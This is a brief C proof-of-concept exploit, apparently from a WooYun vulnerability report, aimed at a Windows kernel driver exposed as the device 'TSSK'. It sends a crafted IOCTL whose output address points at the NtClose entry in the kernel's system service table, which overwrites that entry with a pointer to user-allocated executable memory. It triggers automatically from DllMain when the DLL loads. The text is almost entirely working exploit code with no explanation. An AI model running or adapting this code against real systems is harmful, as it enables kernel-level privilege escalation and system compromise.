WooYun.org

void CallDriver(HANDLE hDev)
{
	DWORD dwReturned = 0;
	char input[0x1000] = { 0 };
	
	PBYTE pBase = (PBYTE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memset(pBase, 0xcc, 10);
	*((DWORD*)input) = (DWORD)pBase;
	DeviceIoControl(hDev,
		0x22E030,
		(LPVOID)input,
		0x2C,
		(LPVOID)0x80502ce4,// KiServiceTable+0x64,NtClose的系统调用
		0,
		&dwReturned,
		NULL);
}
void FuzzDriver()
{
	LPCTSTR DevName = _T("\\.\TSSK");
	HANDLE hDev = CreateFile(DevName,
		GENERIC_READ|GENERIC_WRITE,
		FILE_SHARE_READ|FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL,
		NULL);
	if(-1 != hDev)
	{
		CallDriver(hDev);
		CloseHandle(hDev);
	}
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
    FuzzDriver();
    return TRUE;
}